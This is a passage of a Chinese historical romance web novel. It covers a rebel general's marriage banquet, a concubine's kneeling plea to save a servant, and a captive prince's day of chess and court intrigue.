折柳喘了口气，脸如春霞，发间细细的热汗，嫌弃地推他，“比半大小子还毛躁！真个被你牛嚼似的……” 单铮神清气爽，星眸点墨，尽是与她的温情，抱着她不放，“我今日快去快回，便摆酒请几个兄弟过来，也好做个媒证。” “怎么，你当真要过明路？”折柳却惊讶，却也有几分动容。 “昨霄过都过了，你还想怎的？”单铮一皱眉，道，“你难道是戏弄我，只寻我耍乐？” “我哪里敢！” 折柳口中说着，心中大乐起来。他这人怎么这样上道，不费几番功夫，便从此一个灶吃饭了。 不过……摆桌酒而已，毕竟不耽误他。她几斤几两的人，自己清楚得很。若哪一天当真有封王拜相的造化，恐怕这明媒正娶的诺誓也就不作数了。 说到底，各取所需而已。 折柳想开了，便笑眯眯在他脸上亲香了一记，又侍奉他更衣；打开门来，见外头候着盥洗的从人，抿嘴露了个笑，点点头，声儿极轻：“多谢。” 多谢 他几个昨夜不拦阻，放她进去。今后她自有好处答报。 那几个人精也不吃惊，只言笑晏晏地捧着铜盆、手巾、刷牙子、牙粉等物进去侍奉了。 单铮说快去快回，果真早了一个时辰回来，特特在自己前院花厅里叫了一桌酒席，把亲近的十来个兄弟副将叫来，备言与折柳结为相亲之事。 这些人中，自有一向视作左右手的宗契、赵芳庭，也有军师林文贵、王渡，又有一干起家时便带在身边的得力干将，诸如钱美、杨兴、李三郎之类。 都是自家人，他便没那许多顾忌，晓得他们神色不一，是在想什么，先一步拿话堵死异议：“你们是我手足，皆知我并非什么高门出身，故不要说那配不配的话。我与她已为夫妇，荣辱一体，从此她便是你们嫂嫂。往后，你们当敬她如敬我，方能显得出坦荡磊落的兄弟义气。” 他一双眼扫过在场众人，也扫过默然却咬牙不平的赵芳庭。 在场诸人一肚子言语，有那觉着不相称的，便只得不再提这话头，纷纷来祝贺。单铮又唤里头的折柳相见，与众人一一见礼，以叔嫂相称。 折柳今日打扮得淑宜端庄，梳着妇人的朝天髻，插白角梳，鬓垂珠玉，并不流于奢贵，却自有一股良秀的风韵，与往常大不相同。今日算作喜庆的日子，却又不能称嫁娶大喜，便着朱砂红的袄、松绿的三裥裙，裙上绦环叠映，压着一颗鎏金鸳鸯衔荷的坠子，动静相宜、笑蹙雅然。 若不论出身，单凭样貌，她与单铮立在一处，当真是一对刚柔相依的佳偶。 又行在赵芳庭跟前，吃了他一杯贺喜的酒，两下里相见，赵芳庭眼底几欲喷出火来，也不知怎样将那两个字挤出牙缝来：“嫂、嫂。” “叔叔。”折柳大大方方，微露一点笑意，受了他的礼。 “嫂嫂好爽快的性子，竟一日夜，便有了依靠。”赵芳庭实在恼不过，刺了一句。 若换平常，以折柳压不住火的性子，必要反唇相讥的；今日她却不答，只眼角微瞥了瞥“依靠”。 “十八。”单铮语气淡淡。 赵芳庭忍气吞声下去，拳在袖里攥得铁紧，闷头去喝酒。 一场酒下来，众人喝得七七八八，多少都为单铮贺喜，兄嫂长兄嫂短地叫了起来。只赵芳庭一个，酒喝不到二三杯，别说笑，连脸都是臭的，拉得老长。 席散后，单铮便又单独将他留下来，不比有旁人在，要留全了他脸面，此时彼此相对，说话便少了顾忌。 “我知你心中不美，也晓得你在吴县胡闹过一阵。”单铮道，“只是十八，你需记着，哪怕是兄弟，有些事，也不得越俎。我既定了她，便容不得你不敬。你再有一万个不情愿，也得憋在心里；你若耿耿于怀，乃至与她不利，只会伤了你我兄弟情分。” 赵芳庭一股邪火窜上，面红耳赤，想自长成人，便再不曾被他这样严厉训斥过，愈发地愤恨，“天下间好颜色的妇人那许多，我也不是没劝过哥哥，哥哥竟如此不择食，竟要与兄弟共媚一妇人，可曾想过会被天下人耻笑！” “赵芳庭！”单铮怒上心头，拍桌而起，震得碗碟杯盏晃了一晃，“你若实是不甘心，大可不认我做这哥哥！” 他再无私下里与他发过这样大的火，饶是赵芳庭这样没脸没皮的，也心惊了一惊，如兜头一盆凉水，发觉自己话头委实也太不中听，默了一默。 到底不吐不快，他强忍着软下口气，又来挑拨，“我口不择言，哥哥恼我应该。只是那妇人实在两面三刀。哥哥不知，只前一日，她还应了我聘定，口口声声允嫁，抹过头来却又巴结哥哥。我心里憋得慌！” 单铮眉心拧得冷硬，不愿再与他纠扯前事，摆手压他的话，最终只道：“你哪有什么真正安定的心思，别算计她才是正事。往事我不计较，如今她是你嫂嫂，凭你多少个心眼，莫打她的主意。” 赵芳庭游刃有余了几十年，到此时，也只得忍气吞声，将这气苦和酒一口咽下，火辣辣的滋味入喉，刺得眼眶发红。 他饮下最后一杯酒，哐当残盏搁下，起身便走。 单铮有些心累，在身后叫住了他。 “十八，你可还记得你前头嫂子林氏？” “记得。”赵芳庭孤峭一身，立在门庭前，也不回头，“是个好妇人，麻利心善、本分清白。” 他尤其在后半句加重了几分。 “可她已去十五年了。”怒气散了，消沉席卷上来，单铮道，“那日我葬她，又葬母亲、祖母、叔婶，又葬邻家叔伯、兄弟、妇人们、娃娃们，满地的死人，更不知痛谁。还好剩了个你，从草垛子里钻出来，抱着我哭，说你没用、贪生怕死。可那时我只庆幸，幸好还有你，否则我活都不知活给谁看。” “那时我就想，这一辈子，我只剩这么个兄弟了，今后万事再难，我总要护着他。要报仇，咱们一起报；要享福，咱们一起享。咱们生死过命这些年，你为我手上沾了多少血、做了多少回小人，我不能全知，却也晓得。” “我什么都可依你，唯独这一件不能。我视她作妻子，不比当初结发的林氏差。她对我仁至义尽，我也必以夫妻恩情还报。你与她，如今都是我至亲，我不愿见你们彼此相害，闹到不可收拾的地步。” 赵芳庭几欲动容，咬着牙，眼里激出一点泪意，点头，“好，哥哥话尽于此，我再不为难她就是。哥哥非要娶她，我又做什么恶人？只是哥哥是做大事的人，唯盼不要儿女情长，消磨了志气，平白被人笑话。” 单铮心里一宽，也不是是笑还是叹。 赵芳庭再不多话，更不愿在这憋屈的地儿多待，匆匆离去，掩饰住了一身狼狈。 他走后，单铮回到内院，那里早等候了折柳，见了他，眼一亮，又有些期期艾艾。 她为他递了一杯解酒的茶，旁敲侧击：“我见他们都散了，你又留了一会，怕耽误你私下里与谁说话，等到现在。” 单铮呷了一口茶，“唔”一声，大丈夫在屋里，反倒温吞起来。 “你……与谁说话呢？”她又问。 “十八，与他说几句。” 早知道是他。折柳心思数转，心里有些紧张，“他、他说什么了？必定又是坏话。” 单铮不答，反在她面上看了一圈，见她愈发紧张，忽笑了笑，拉过她，坐在膝上，闻着她发鬓间的清香，与她亲密无间。 “他就是如此，胡闹惯了，你别往心里去。”他近在咫尺，细细地观量她，眼眸里闪动情意，伸出手，指腹从她脸颊划过，末了停在侧颊残余的一道疤痕上，虽用了妆粉遮盖，却仍细微可见。 折柳微侧过头，不愿将这点疤印露在他眼前，又想拿手来捂，“哎……别瞧了，难看呢。” “不难看。这是你为我受的。”单铮却道，“你 屡屡为我美言，我都晓得。若不是如此，你哪会惹恼了林江啸，挨他一顿鞭子。” 他指腹下摩挲，折柳脸颊有些痒，又有些发烫，饶是快嘴利舌，却说不出讨巧的话来，心里只有了一个念头： 这男人，原来那会子就已经对她上心了么？ 楞得怪招人惦记的。想来那赵芳庭也没与他提什么聘定的事，他果真以为她是真情呢。 她在心里下判语，描摹他眉眼，愈发觉着英气逼人，不住地心动，索性捧起他的脸，微微俯首，亲吻上去，纠缠了许久。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 100-110 第101章 第101章为人作嫁，借花献佛…… 腊月十二，雪霁，沉云。 岁暮总有各样琐事冗杂，吴览一早便出了去，秾李则留在家中，料理些琐事。 腊八才过没几日，城中各大小庵庙办了一回浴佛会。香油钱得供奉，便这几日陆陆续续使人布施过去。今日也不例外，秾李早遣了袁武去送。 袁武于吴览有活命之恩。当日吴览身陷上元县囹圄，若非袁武星夜奔驰，寻人搭救，他早已尸骨埋了一把，因此感念忠义之举，将他留在跟前听用；名为家里的僮仆，实则出入并不拘束。 袁武倒也勤勉，时常外头跑动。他并不偷奸耍滑，一来二去，便更得了吴览看重。 秾李令袁武去捐香油钱，一上午便没什么要紧事，只是在女使的看顾下，喝一碗调养身子的药。 是药便没有不苦的。女使却笑吟吟地煎了端来，瞧她蹙眉快快地喝光了，眼疾手快，往她嘴里塞了颗甜腻的蜜胶枣，“娘子快压压。” 胃里翻江倒海，被这点甜意慢慢压下去，她终于好受了些。 “这药还得吃几贴？”秾李恹恹问。 女使说不准，“手头里还十贴，早晚各一贴。只是大夫也没个凭准，这药且得喝呢。” 她点点头，出了会神。 女使又来宽慰她：“药虽苦，却是官人疼你的一片心。若不是真心爱你了，哪会花那劳什子功夫请名医来为你调养？待身子养好了，再有个一儿半女，你便真正立稳脚跟了呢……” 秾李并不是正头娘子，甚连妾的名分也没有，下头人说话便没那许多顾忌，随意一些，也亲热一些。 她只是一笑，并不多言。 当年在青玉阁，从梳拢了那日起，便日日要喝药。比这更苦的她也屏着气一口喝尽了，只为着断了月信，免得有孕。这一时又得用药调养回来，显得像个循环的怪圈，她来来去去找不着出路。 所幸那大夫说了，她年纪小，那伤身子的药喝了也不过二三年，若用心调养，今后不影响子嗣。 想到此，秾李有些微妙的感觉。 她不自觉抚上了自己小腹，想象着那里有朝一日，会多出个肉团儿，见风这么长，十月坠地，便来唤她娘。 从前对有孕的恐慌，如今也还残留挥不去的阴影，她想起来，便下意识厌恶；转而却又想到：这一回不同，这里头的不是野。种，是一个受人期盼的孩子。 她想起与吴览相对时，他榻上抚着她，手掌贴在腹上，带来一阵令人迷眩的温热，说话的热气播撒在她耳畔：“为我生个孩儿吧，儿女都好，有个孩儿……便是一家人了。” “可我……”若说不惶恐，那是假的。秾李想到她自己，像个物件一般被随意抛掷路边，从此再不见家人；同样，她把握不住这个还未来的孩子的命运，“我是个卑贱之人，若真有了孩儿，他想必以我为耻。” 吴览将她搂在怀里，温和的眸中却有些不赞同，“子不教，父之过。他若真有此想，那便是我这做人父的教导之失。你放心，你的骨血，绝不会轻慢你。” 她温顺地与他依偎，心中却愣了良久，明知说出的话分量最轻，却仔仔细细咂摸了无数遍。 约摸有难得的一个迷蒙时刻，她半睡半醒，依稀见他睡容，倏忽闪过了一个念头：或许她真的可以成为他的枕边人，而不止是那个被送来助他忠心的筹码。 女使还在叽叽呱呱说着儿女子嗣的琐事。秾李含笑听着，时不时搭几句话。 她心中那个浑身脏兮兮、坐在道旁大哭的小乞儿的身影逐渐淡去。她成了如今的自己。 晌午，袁武还未归。 山寺离府署纵远，一个来回也够赶上午饭了。这时候他却还不见踪影，秾李便问了一嘴，教人去催。 约摸大半个时辰，派去催促的小厮却慌慌张张回来，报说：“袁武那厮捐了香油钱，上午便离了寺。咱们遍寻不着，却听几个和尚道，他们见了一伙闲汉，打一破落的老道，那老道直叫嚷着个人，说什么‘是个北蛮的小子’，那伙人便汹汹地去了，想是找寻袁武呢！” “什么老道、闲汉，详细说来。”秾李皱眉。 那几人便说了打听来的原委。 事有凑巧，原来今日那山寺前，设了赈济的粥棚、棉衣，施舍穷苦。这本就是宁德军的差事，放给女眷们去做。这一回正是舟横先生王渡的家眷——李定娘主持施粥。 这本没什么，穷苦人家，每日早晚两次领粥、经冬一副棉衣棉鞋，便足以熬到来年开春；女眷们到此，也不真为添个人手，不过略做主持，好教饥民晓得宁德军仁义。 只是饥民一多，什么人都有。那里头便有个破衣褴褛的老道，穷厄至极了，还不忘贫嘴，领了粥米，裹了棉衣，一见那李定娘，却“噫”了一声，直叫道：“此娘子好特殊的命格！怎奈是半生着榴裙，半生着胡袄！” “半生着榴裙，半生着胡袄？”秾李有些意外，把这话念了一遍，又气恼起来，“袁武那没皮没脸的，何时起得这样糟烂心思？必是他使了好处，教老道饶舌。李娘子有主的妇人，他怎好在人前攀扯！” “可不是！”小厮道：“那老道回头就被人一顿狠揍，打得鬼哭狼嚎，哪里有什么神通，供出来是个深眼目的少年教他说的两句。好在是山寺前，有和尚拦着，否则就教打死了去！” 秾李深吸了一口气，只觉头疼。袁武到此时不见人影，怕是中途教人截了胡。 若只如那老道一般，讨一顿打，打便打了；可那王渡是什么人？先前他眼里能揉得沙子，不过因着鬼面人势大，他撼不动罢了；如今一个小小的袁武，他哪里放在眼里？ 只这么一层非分之想，就足以教王渡打死了他，吴览还不能明面上翻脸。 “拿裘衣来。”想到此处，秾李便坐不住了。 女使乖觉，晓得她要出门，隔间取了熏得暖香的一件貉子绒裘衣，又灌了热热的汤婆，一齐为秾李备了，跟着她便要出门。 晌午不过未时，秾李一只脚才出门槛，忽顿了顿，回头向女使道：“昨日嘱咐你的果子五味粥，可煮好了？” “且炖着呢。”女使道，“娘子不是说申正才要么？” “那中午吃的澄沙团子呢？还有剩么？” “独剩了一个，娘子想要吃么？” 秾李摆摆手，沉吟片刻，“算了，前些日新得的胡桃，我记得家里存了不少。你去盛一食盒来，记着，挑皮相好的。食盒也要精细簇新的。” 女使应了自去，不多会，果然提着食盒回来，黄花梨上墨漆描金，花鸟盎然，十分的锦绣气派。 秾李揭开盒盖，亲自查了一遍今年才出的胡桃，见个个大而饱绽，干果新香，点点头，“走吧。” 二人一前一后，上得马车，来到府署。 此处出入不止一二十回，女使轻车熟路，去向舟横先生当值处，却不想被秾李叫住，走了另一条僻静的后园路。 穿过园廊，幽幽寒梅香砌，残雪余墙角未消，渐渐地地分荒僻了起来。 江宁府的府署里若填满人，少不得一二千也塞得下，只是单铮不喜奢靡，除了值守的兵丁每日轮岗，府署各处，竟空置了大半。 荒有荒的好处。没了人多眼杂，消息便不会传得那样快。 二人到一院前停住。秾李接过女使手中食盒，教她守在外头，自己入院，门口与一重铠甲刀兵的守卫交了核对的腰牌，便行入里间。 一路皆有刀斧甲士，冷光森森。秾李过处，那刀上反光晃晃地耀在她眼目，生冷得刺人。她目不斜视，向廊下侍立的一个从人行礼，道：“我来给殿下送些果子，烦请通报一声。” 她不是第一回来，各人也都认得，当下一人便去报禀，另一个就地打开食盒，细细地检查了没有夹带，又道：“唐突了。” 按规矩，凡送来饮食，此人要先入口。秾李晓得，点点头。 那人便挑了两个胡桃，用牙崩碎了，挑出果肉来吃。 “今日如何？”他磕果子时，秾李问。 那人一面剔着果壳，一面道：“就那样，写写画画、弹琴下棋，都是风雅事……哦，单将军把他那剑送还了，嘿，他那剑耍得真怪好看的！” 这里头守着的，尽是百里挑一的好手，刀兵拳脚皆精熟，得他一句“怪好看的”，秾李就晓得这位殿下的武艺如何了。 天潢贵胄，花架子有；真本事么……据说棋下得精绝，琴声也高妙。刀兵就算了。 很快，里头报禀的出来道：“娘子请进吧，殿下在后院竹林里练剑呢。” 秾李便跟着入内。 穿过厅堂，便是后院，里头宽敞，甚至纳了一片竹林。幽篁之间，有空地丈余，寒翠的竹间残雪时时坠下，幽冷晶莹之中，一袭竹节松枝般的清影在剑光中划动，刚节凛然，不亢不俗。 正是前些时候被“请”来江宁的六皇子——郭显。 他今日一身浅过天青的道袍，萧萧肃肃，舞起剑来格外轩朗，晓得秾李来了，剑势却不断，走过一遭后，才挽了个收势立住，额上微有汗意，接过一旁随从递来的手巾，随意擦了擦。 秾李道：“殿下的剑有君子之风。” 郭显向她颔首 ，“多谢娘子照拂，送来胡桃。” 他将剑交给随从，教他回去，又问秾李，“娘子行色急促，可是有事？” “有些家中的小事。”秾李道，“稍后要去寻广陵县主说话。” 郭显瞧在她面上的目光顿了一顿。 “我倒忘了，大妹妹去岁封了县主。”他一笑。 一旦身停下来，寒意便逐渐侵人肌骨。郭显请他回入屋中，教人斟上茶来，略略问候了吴览近日安然。 那剑当真只是舞来耍弄的，如今被挂在壁上，做个壁饰。秾李一眼扫过，见那珠玉玛瑙的鞘子甚是华贵，穗子也流光溢彩，更不知挑了什么丝线编成，只是美中不足，许是前些日兵荒马乱，扯了些乱丝下来。 秾李便请道：“殿下这剑穗仿佛有些损了。恰好我略会些织补，您若信得过，我补来与您。” “这有何信不过的。娘子巧手，肯为我补就，我自当谢。”他倒也爽快，径取下穗子，交予她。 秾李送过了胡桃，又得了穗子，便就告辞。郭显唤随从代送一程，两下里相别，更无旁语。 王渡此时却不在府署，从人道晌午才走，说是家中有事。 秾李怀揣着剑穗，又只得马不停蹄赶往王家。 所幸大小将军家宅，皆离府署不远。马车快行不过一二刻，便停在了王家正门一条街上。 门子报过，秾李从正门入，便察觉了内里一股紧张寒噤的气氛。 她是个外人，若不是今日事与自家相干，她也是不会管的。本又不是什么占理的事。 王渡很快接出来相迎，只是面色不大好看，平日里随和淡然的脸上，这会子有一股难得的阴云。 秾李自然晓得这恼怒的态度是正对她的，只是寒暄自如，说到正事，便拿出了六皇子的剑穗，道：“我来寻李娘子，因她见多识广，又与六殿下沾亲，必定认得这穗子是用何种丝织成，也好教一教我，怎样织补。” 这话真是此地无银三百两，她来寻李定娘，为何让人报禀要见他王渡？ 只是不看僧面看佛面，王渡一时闹不准那穗子的门道，便看在六皇子的面儿上，接了剑穗，只道：“今日她身子不适，亏了礼节；改日我教她过府造访，还这穗子。” 秾李自然说好，便又自然带出一句：“仓促登门，无有谢礼。搅乱了你们伉俪燕居，我实在心有不忍，回头必致重谢……哦，对了，我那家人年少顽劣，多有冲撞先生，还望先生海涵。” 王渡皮笑肉不笑，“娘子这话，我却听不懂。” “那袁武小子，原是我家官人跟前得用的人。”秾李微垂下眼，将话再说明白三分，“只是非我族类，不通礼义，但望先生不计较，今后我必多加管教，再不使他冒犯。” “娘子自管教家人，又有我多说什么？”王渡道。 他八风不动，秾李还想再说，王渡却叫来从人，“去，点一瓯汤来。” 汤为干草及香药汤，点汤则客辞。他这是不愿再与她纠扯了。 秾李未得他点头，哪敢就此离去，怕的是今日走了，过几日街头巷尾水泊里，捞见袁武的尸首。她不好撕破脸，唇略沾一沾甘香的汤水，与他步至中庭，当着内外女使人力数人的面，顿住再不向前。 “那袁武不修口德，坏人门风，实在可恶。但他与我家官人，不是平常主仆，却有活命之恩。”任多少目光窥来，秾李高扬声音，愈发恳切，“非得袁武义仆舍命搭救，我家官人早已没命在。故此为这恩情，纵是我，也得拿命来还！先生若为他恼，我愿代偿这过错！” 她说罢，也不顾王渡是何脸色，噗通一声跪在庭中，以额贴地，再不肯起。 王渡面色骤变，便要使人搀扶。秾李却犟得再三跪伏，不得他一句宽言，大有跪死在他家的架势。 她是吴览屋中的人，她的脸面，就是吴览的脸面。今日这么多双眼瞧着，她多跪一刻，便是多打吴览的脸。 王渡被这无耻的妇人彷如架在火上烤，心内恨得咬牙切齿，面上却还得故作惶恐，亲来搀扶，实在没法，终于松口，道了句：“如此义仆，吉人自有天相。他或只是贪玩，今明日也就回了，娘子何必担忧。” “真的？先生大丈夫，不诓我？”秾李抬头，已是泪眼里满含希冀。 “真、的。”王渡牙缝里挤出话来。 “那可不能缺胳膊少腿，若是伤了，我家官人可得心疼！” 王渡气得七窍生烟，寒声几欲啮齿咬碎了她，恼道：“想必无伤！” 秾李这才破涕为笑，任由他搀扶起来，还不忘再三地提醒：“先生神通广大，所说必定是真，一毫儿不差的。” “送娘子出门！”王渡猛地撤手，大步往回走，断喝道。 第102章 第102章郭显的一天 他不是长子，也不是嫡子，更不是官家最爱的儿子。 他只是个再普通不过的宫人所出，官家一次酒醉、一次狂狼的结果。小娘娘没等到封品秩便死在了产褥中。该是时来运转，恰逢先皇后才夭了孩儿，他便顺理成章地填了她丧子之痛，养在了中宫。 无所谓嫡不嫡这一说，宫中所有的龙子们，都是记在中宫名下的。但他的确因此与太子哥哥格外亲厚，长成后，理所当然被视作太子一党。 太子失势，官家病笃，他便被踢出了洛京——借着剿匪的名头。 郭显由此来到了江宁。 江宁的日子比想象中好过。他名为“囚”，却被精心供养在府署，一应饮食穿用无不丰沛，除了不能走出那四四方方的院墙，其余一应与个普通的王孙公子并无不同。 郭显的一天，从侵晓鱼肚白始。 鸡唱三遍，正是内室香暖、槛外幽寒时。若是洛京，如此早起，不待三日，有心人便要夸赞其“勤勉”，除了得官家几句轻飘飘的嘉奖，这并没什么好处。 一日十二时辰，当真太短。他暗自珍惜，却又不可向外人言。 江宁此处，便没那许多顾忌。 漱洗穿戴后，先练剑一个时辰，不为剑术多精进，但为强身健体，遇敌可堪自保； 早食，一刻；看书，一个时辰。 此时曦光渐盛起来，院中又别有一种冷光森然，交相传映，那是把守甲士所带刀光。 他们守在外头，阻他自由，却不拦宁德军中人出入。郭显身处漩涡之中，每一片潜流，都与他相干。 巳时初，他放下书，瞧金盘中沉水如意篆烧过云头一缕，闭目憩息。 外头传来话声。他支开窗，目光穿过庭院，瞧见正入中庭的一人，与自己的从人说话。 “舟横先生既至此，径入便是。” “拜谒贵人，不可失了礼节，请入通传。”那人不肯依，执意在中庭中等候。 从人无法，只得进来禀报了。 郭显早已起身，开门相迎，省却了这一来一回的礼节，向那位已来过几回的军师颔首致意，“先生不必多礼，请入内说话。” 王渡王舟横恭恭敬敬向他一揖，抬 脚这才从容前来，又回身向从人，“你们自去，我与殿下相处片刻。” 他在宁德军中权威赫赫，院中人无有不依，便沏了茶捧与，撤去廊外。 王渡回身关了门，留屋中一蓬春暖，隔绝了外头寒气。 左右无事，郭显便摆出棋局来，令他入座对弈，王渡欣然相从。二人一黑一白，纵横厮杀，却不见硝烟，唯有平心静气的对话。 王渡道：“近来天寒，邪气易侵体，殿下当保重身子，若有所需，尽可与某讲来。某当尽心竭力，不使殿下忧心。” 郭显道：“贵处已待我厚甚，我铭感在心。倒是先生挂念，拨冗顾我，令我感怀。” 二子相缠，郭显执黑，并不急于包抄，却如游龙观望之势，静观其变。 王渡道：“殿下本是贵人，不过时局弄人，才暂陷吾地。如龙游浅水，一旦得风雨，便复可入海，搅荡风云。” 郭显道：“借你吉言，只不过话虽如此，我却哪能当真如鱼得水？不过是干涸的泥坑里一条将死的鱼罢了。先生一番厚意，我恐怕回报不了了。” 王渡道：“行到水穷处，坐看云起时。殿下不要悲切太甚。某比殿下又如何？虽是一介草民，当日却也在扬州地界有些家业，本道一生顺遂过了，不料陡遭变厄。叛军入城，某家破人亡，那时无望愤懑，不在殿下之下。如今又如何？家业复起，比从前更胜三分。以某所见，殿下远没到山穷水尽之时，万不可消沉自扰。” 王渡的白子紧随黑子，无意于缠斗吞吃，却依稀有了相生相随之势。 郭显略有惊讶：“我观先生，才俊人品皆不在人下，从前又有为贼所害的仇隙，本当以破贼驱虏为念，为何又从贼？如此暗昧，岂不欺心？” 王渡叹道：“从前是身不得已，随波逐流。如今某身在暗处，虽有向明之心，却何处去寻明路呢？” 说罢，两下里沉默了一时，俱各盯着棋局，落子不下。 半晌，郭显道：“情势之语，不足为人信。但我有一言，不吐不快。以先生大才，未得郡宰辟擢、朝廷任用，是社稷之失。若我命当无虞，有回京那日，必设法明言先生之能，免先生之罪，更赐擢拔。” 若听了这话便感恩戴德，甚而痛哭流涕，那也不是王渡了。故此，他听后，只是真切地一笑。 “若论起来，我与你却还沾亲带故呢。”先前言语太过沉重，郭显换了个轻松的话题。 王渡道：“是，内子与殿下乃表兄妹。” 郭显便道：“大妹妹家逢变故，我听说后，实在痛心。她生性好强，不愿人前示弱，必定只在心中难受，妹夫万要善待她，莫要因她娘家沦丧而轻待与她。” 这一声“妹夫”叫得熨帖。王渡虽面上不显，登时如五脏六腑都饮了热热的甜姜汤，每个毛孔都飘逸逸舒爽开了。 “殿下……” 郭显却一摆手，“无外人时，咱们亲戚相称便可。” “舅兄，”王渡从善如流，改口道，“不瞒舅兄，我在此处，也只是情势所迫，更不愿长久从贼。若舅兄肯屈尊青眼，我自当以死相报，勉力保您回京。” 郭显清湛风姿的一双桃花眼亮了一瞬，已然压低声音：“不知妹夫可有主意？实话说与你，我心中焦灼甚矣，九月离京之时，官家圣体就已沉疴，这一回怕是积重难返。朝中局势瞬变，我若再不回去，怕是以后想回也回不得了。” …… 屋门紧闭，屋中人话声低微，有心去听，也听不见一二句，唯有落子清脆的击石声，琅玕似玉，每一声都仿佛敲击人心胸。 外头人等候了小半个时辰，终见屋门被打开，里头淡然走出舟横先生，日常的一身石绿道袍，风骨高标，也不说什么，简单作别而去。 郭显身份在此，并未起身相送，却一颗一颗地拾掇残棋。 他惯常做此事，从来不要人伺候，秀雅的面上有一抹出神，不知思忖发呆，却显得格外有华彩，从人窥见，也不禁心折。 午时用饭，照例下头人一一尝过，再侍奉到他案前。 今日菜食是六道，二蔬三荤一汤，兼有一碟旋炒银杏、一壶温温的热酒灌在注子里。 比之从前，恐怕他府上门子日常饮食，也盖过此；这样一餐，说是寒酸真不为过。 郭显由初次的吃惊，到如今已然见怪不怪，反倒样样菜都吃出些滋味来：这贼巢里的厨子，也堪有一手高妙的活计，并不偷工减料。 想从前餐餐荤素冷热二三十道，已是比照东宫的饮食，又减了三成份例；回头想来，自己当真下筷的又有几道？还不是都撤了与下头的人受用。 饥民甚众，卖儿鬻女，都不是繁华如洛京可见光景。只有出了洛京，到沂州、到宿州，甚至到江宁，才能看得见。这一趟出离洛京，他实则所感所思颇多。 饭毕，又有人报：“吴先生的娘子送来些甜杏仁。” “请进来。”他道。 吴先生从前是个官人，本已做到了通判，却也从了贼，钦封的官职便不再能用了，人皆呼为“先生”。他家娘子，便是秾李。 秾李时常送些吃食来，从人们都已习惯了。 她这一回送的是甜杏仁，入得门来，微微一礼，将雕花的小食盒搁在桌上。 郭显已教撤了饭食，才漱几口茶，见杏仁便笑道：“我喜杏仁甜香，尤其爱这一口，娘子有心了。” 秾李道：“微末零碎，不算什么。我家官人时常嘱咐我，莫要以两军对垒的敌势而轻慢了殿下。” 吴览因曾有一层官衣在身，如今愈是要与郭显避嫌，免得落在有心人眼里，传作通敌；他身份不便，秾李却能借着送点心果子的由头，说上几句话。 便说到吴览。 “单将军是我家官人的恩人，为报其恩，官人情愿追随。”秾李道，“这也是时运所至。他从前一片丹心，怎奈被人踩在脚底践踏；如今虽名为贼，单将军待之如座上宾，高下立现。” 郭显问：“那若朝廷为其平冤昭雪，何如？” 秾李秀面平静，回向郭显，“死人尚可复生否？” 郭显沉默。 又说起家常事。 秾李道：“杏仁味甘润肺，岁暮时服用，最是好物。只是凡物再美，也不宜多吃，殿下一日所食当不过二十颗为妙。” “娘子说的是。” “殿下既喜爱，我不防多嘴一句。”她又道，“甜杏仁是美物，与之绝类的苦杏仁却是恶物，若不慎吃用，轻则目眩呕吐，重则可丧命。这一些是今岁夏末我亲自去采的，必是甜杏仁不差。若在外头买来，殿下还是要当心，以免混了苦杏仁充数。” 郭显道：“良莠掺杂，饮食常误人至深。多谢娘子提点。” 食盒里的的确确尽是甜杏仁，一毫儿不差的。 秾李送吃食点心，不过一刻，说几句话，便告辞离去。郭显也不多留，教人妥帖地送走了，自个儿拈了几颗甜杏仁，唇齿里慢慢地嚼。 甘美清香，真是再新脆不过。 吃不过五六颗，他又散了一些与院中人，拿来茶水漱口，便到了午睡时候。 他照例要睡到未时一刻，今日却又格外叮嘱从人：“若柳娘子来了，可不必等候我睡醒，唤我便是。” 从人道是。 他睡下后，几个从人在院里一面晒太阳，吃着杏仁，压低声儿聊天。 “那柳娘子是个什么来头？说是低贱的出身，怎么那位却唤‘二妹妹’？” 有稍知内里的人便道：“我只提点你一句，若真出身寒微，怎能与前些时候那洛京来的大家公子结亲？莫要瞎打听，其中再是曲折，与你我也无干系。” 余人喏喏，不再言语了。 那位柳惜娘子也当真孤标，京里来的殿下递贴传书，几次请来说话，她却都不来。 晌午的日头还暖着，晒得人昏昏欲睡。才没多久，一番好睡却被人打断。 “殿下正午睡么？”说话轻细，不紧不慢，莺儿啾啾似的，莫名地听来教人喜欢。 立在跟前的，正是柳娘子，臻首娥眉、瞳如剪水，一点绛唇如樱桃，在腊月的严寒冷硬里，硬是使人如窥见莲蕊花萼，若含若露；便是平常至极的杏黄袄、葱绿裙，也遮不住娉婷春色。 委实生得太好了些，怪不得那位殿下巴巴地贴上去。 应怜在庭院里，屋檐下望了一眼，好声好气，“是我来得不巧，一会子劳你与殿下说一声，我下回再来。” 从人被这如许的美人一惊，七八分睡意全醒了，跳将起来，“巧的、巧的！殿下已醒了，我这就去禀！” 他一溜烟跑进屋了。 应怜有些气闷，不是说正午睡么？他三请四请，自己总不来也不是事，专挑了他午睡的时候来，本以为糊弄过去就好了呢。 一眨眼的功夫，从人便转回来，殷勤道：“殿下请您去说话呢！” 她只得教春莺在院里候着，自己进了屋。 正屋有三间，正中的厅堂，一左一右，分作待客的小间与内室。郭显已然在小间里饮茶，专候着她。 他倒是一如既往，衣食住行，皆体体面面，没半点囚徒的模样，甚而两年不见，比记忆中更又沉稳了一些。 只是应怜自忖与他不熟，没什么话说，行了一礼，落座于他对面，便磨磨蹭蹭地小口抿茶，偶尔不着痕迹瞥一眼他。 郭显轻松自如，手里拈着几颗杏仁，当着她面吃零嘴，方才那点子稳重气度全没了去。 她不说话，他也不急，慢条斯理的，嚼了杏仁，漱了茶，添一丸香在博山炉中，又窗畔案上取了一张仲尼琴，脱履竟盘腿上一围榻，置琴在膝头，拨了几个低沉音韵。 应怜终于沉不住气，“殿下召我，所为何事？” 琴声希微，余韵尽显。郭显在这缭绕满室的大音之中，看着她，“无事。” “……殿下是拿我取乐么？” 她再也不是那个当年被侍卫吓一吓便落荒而逃的白兔了。郭显忆起她豆蔻未满时，睁着一双兔子似的乌溜溜的圆眼，那模样当真有趣。他稍觉可惜，但道：“二妹妹经年多遭变故，我以为你有满肚子的心事，要与个故人诉一诉。我算作你半个哥哥，你便在我面前哭上一哭，也是无妨的。” 郭显通音律，琴声抚来，尤其如怨如诉，催人心肠。 应怜却无动于衷，“殿下抚这《湘妃怨》，是为了催我哭一哭么？” “心之所感，情便移在琴心，随手而已。”郭显琴声慢了下来，没了定准的音律，随手拨来，叹了一声，“你何必对我那样冷淡，若说起来，你我不恰似同病相怜么……杏仁在你手边，请自用。” 她就手拈来杏仁，慢吞吞地咂摸，而后问：“怎么，你父兄也被杀了？” 琴声一噪，戛然而止。 